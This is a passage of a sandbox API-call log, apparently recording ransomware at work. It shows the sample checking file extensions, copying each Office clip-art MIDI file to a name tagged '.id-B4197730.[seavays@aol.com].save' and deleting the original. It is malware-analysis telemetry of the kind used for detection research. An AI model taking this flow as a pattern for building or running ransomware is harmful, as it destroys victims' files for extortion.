[0173.127] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.127] lstrlenW (lpString=".doc") returned 4 [0173.127] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.127] lstrlenW (lpString=".docx") returned 5 [0173.127] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.127] lstrlenW (lpString=".pdf") returned 4 [0173.127] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.127] lstrlenW (lpString=".xls") returned 4 [0173.127] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.127] lstrlenW (lpString=".xlsx") returned 5 [0173.127] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.127] lstrlenW (lpString=".ppt") returned 4 [0173.127] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.127] lstrlenW (lpString=".zip") returned 4 [0173.127] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.127] lstrlenW (lpString=".rar") returned 4 [0173.127] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.127] lstrlenW (lpString=".bz2") returned 4 [0173.128] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.128] lstrlenW (lpString=".7z") returned 3 [0173.128] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.128] lstrlenW (lpString=".dbf") returned 4 [0173.128] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.128] lstrlenW (lpString=".1cd") returned 4 [0173.128] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.128] lstrlenW (lpString=".jpg") returned 4 [0173.128] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.128] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.128] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0173.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0173.129] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=5843) returned 1 [0173.129] CloseHandle (hObject=0x540) returned 1 [0173.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220 [0173.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0174.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.664] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.665] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0175.789] GetLastError () returned 0x0 [0175.789] ReadFile (in: hFile=0x518, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x16d3, lpOverlapped=0x0) returned 1 [0175.792] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x16e0, lpOverlapped=0x0) returned 1 [0175.794] ReadFile (in: hFile=0x518, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.794] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0175.794] SetEndOfFile (hFile=0x538) returned 1 [0175.794] CloseHandle (hObject=0x538) returned 1 [0175.794] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.794] SetEndOfFile (hFile=0x518) returned 1 [0175.798] CloseHandle (hObject=0x518) returned 1 [0175.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0175.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.800] lstrlenW (lpString=".doc") returned 4 [0175.800] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.800] lstrlenW (lpString=".docx") returned 5 [0175.800] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0175.800] lstrlenW (lpString=".pdf") returned 4 [0175.800] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.800] lstrlenW (lpString=".xls") returned 4 [0175.800] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.800] lstrlenW (lpString=".xlsx") returned 5 [0175.800] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0175.800] lstrlenW (lpString=".ppt") returned 4 [0175.800] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.800] lstrlenW (lpString=".zip") returned 4 [0175.800] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.800] lstrlenW (lpString=".rar") returned 4 [0175.800] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.800] lstrlenW (lpString=".bz2") returned 4 [0175.800] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.800] lstrlenW (lpString=".7z") returned 3 [0175.800] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.800] lstrlenW (lpString=".dbf") returned 4 [0175.801] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.801] lstrlenW (lpString=".1cd") returned 4 [0175.801] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.801] lstrlenW (lpString=".jpg") returned 4 [0175.801] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.801] lstrlenW (lpString=".doc") returned 4 [0175.801] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.801] lstrlenW (lpString=".docx") returned 5 [0175.801] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0175.801] lstrlenW (lpString=".pdf") returned 4 [0175.801] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.801] lstrlenW (lpString=".xls") returned 4 [0175.801] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.802] lstrlenW (lpString=".xlsx") returned 5 [0175.802] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0175.802] lstrlenW (lpString=".ppt") returned 4 [0175.802] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.802] lstrlenW (lpString=".zip") returned 4 [0175.802] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.802] lstrlenW (lpString=".rar") returned 4 [0175.802] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.802] lstrlenW (lpString=".bz2") returned 4 [0175.802] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.802] lstrlenW (lpString=".7z") returned 3 [0175.802] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.802] lstrlenW (lpString=".dbf") returned 4 [0175.802] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.802] lstrlenW (lpString=".1cd") returned 4 [0175.802] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0175.802] lstrlenW (lpString=".jpg") returned 4 [0175.802] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.802] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0175.803] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0175.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.804] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=5058) returned 1 [0175.805] CloseHandle (hObject=0x518) returned 1 [0175.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220 [0175.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.805] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.805] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0175.807] GetLastError () returned 0x0 [0175.807] ReadFile (in: hFile=0x518, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x13c2, lpOverlapped=0x0) returned 1 [0175.808] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x13d0, lpOverlapped=0x0) returned 1 [0175.810] ReadFile (in: hFile=0x518, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.810] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0175.810] SetEndOfFile (hFile=0x538) returned 1 [0175.810] CloseHandle (hObject=0x538) returned 1 [0175.810] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.810] SetEndOfFile (hFile=0x518) returned 1 [0175.813] CloseHandle (hObject=0x518) returned 1 [0175.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0175.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.815] lstrlenW (lpString=".doc") returned 4 [0175.815] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.815] lstrlenW (lpString=".docx") returned 5 [0175.815] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0175.815] lstrlenW (lpString=".pdf") returned 4 [0175.815] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.815] lstrlenW (lpString=".xls") returned 4 [0175.815] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.815] lstrlenW (lpString=".xlsx") returned 5 [0175.815] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0175.815] lstrlenW (lpString=".ppt") returned 4 [0175.815] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.815] lstrlenW (lpString=".zip") returned 4 [0175.816] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.816] lstrlenW (lpString=".rar") returned 4 [0175.816] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.816] lstrlenW (lpString=".bz2") returned 4 [0175.816] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.816] lstrlenW (lpString=".7z") returned 3 [0175.816] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.816] lstrlenW (lpString=".dbf") returned 4 [0175.816] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.816] lstrlenW (lpString=".1cd") returned 4 [0175.816] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.816] lstrlenW (lpString=".jpg") returned 4 [0175.816] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.816] lstrlenW (lpString=".doc") returned 4 [0175.816] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.816] lstrlenW (lpString=".docx") returned 5 [0175.816] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0175.816] lstrlenW (lpString=".pdf") returned 4 [0175.816] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.816] lstrlenW (lpString=".xls") returned 4 [0175.817] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.817] lstrlenW (lpString=".xlsx") returned 5 [0175.817] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0175.817] lstrlenW (lpString=".ppt") returned 4 [0175.817] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.817] lstrlenW (lpString=".zip") returned 4 [0175.817] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.817] lstrlenW (lpString=".rar") returned 4 [0175.817] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.817] lstrlenW (lpString=".bz2") returned 4 [0175.817] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.817] lstrlenW (lpString=".7z") returned 3 [0175.817] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.817] lstrlenW (lpString=".dbf") returned 4 [0175.817] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.817] lstrlenW (lpString=".1cd") returned 4 [0175.817] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0175.818] lstrlenW (lpString=".jpg") returned 4 [0175.818] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.818] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0175.818] lstrlenW (lpString="SHOW_01.MID") returned 11 [0175.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.819] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=6392) returned 1 [0175.819] CloseHandle (hObject=0x518) returned 1 [0175.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220 [0175.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.820] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.820] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0175.821] GetLastError () returned 0x0 [0175.821] ReadFile (in: hFile=0x518, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x18f8, lpOverlapped=0x0) returned 1 [0175.936] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x1900, lpOverlapped=0x0) returned 1 [0175.937] ReadFile (in: hFile=0x518, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.937] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xea, lpOverlapped=0x0) returned 1 [0175.937] SetEndOfFile (hFile=0x538) returned 1 [0175.937] CloseHandle (hObject=0x538) returned 1 [0175.937] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.937] SetEndOfFile (hFile=0x518) returned 1 [0175.940] CloseHandle (hObject=0x518) returned 1 [0175.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1 [0176.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.904] lstrlenW (lpString=".doc") returned 4 [0176.904] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.904] lstrlenW (lpString=".docx") returned 5 [0176.904] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.904] lstrlenW (lpString=".pdf") returned 4 [0176.904] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.904] lstrlenW (lpString=".xls") returned 4 [0176.904] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.905] lstrlenW (lpString=".xlsx") returned 5 [0176.905] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.905] lstrlenW (lpString=".ppt") returned 4 [0176.905] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.905] lstrlenW (lpString=".zip") returned 4 [0176.905] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.905] lstrlenW (lpString=".rar") returned 4 [0176.905] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.905] lstrlenW (lpString=".bz2") returned 4 [0176.905] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.905] lstrlenW (lpString=".7z") returned 3 [0176.905] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.905] lstrlenW (lpString=".dbf") returned 4 [0176.905] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.905] lstrlenW (lpString=".1cd") returned 4 [0176.905] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.905] lstrlenW (lpString=".jpg") returned 4 [0176.905] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0176.906] lstrlenW (lpString=".doc") returned 4 [0176.906] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.906] lstrlenW (lpString=".docx") returned 5 [0176.906] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.906] lstrlenW (lpString=".pdf") returned 4 [0176.906] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 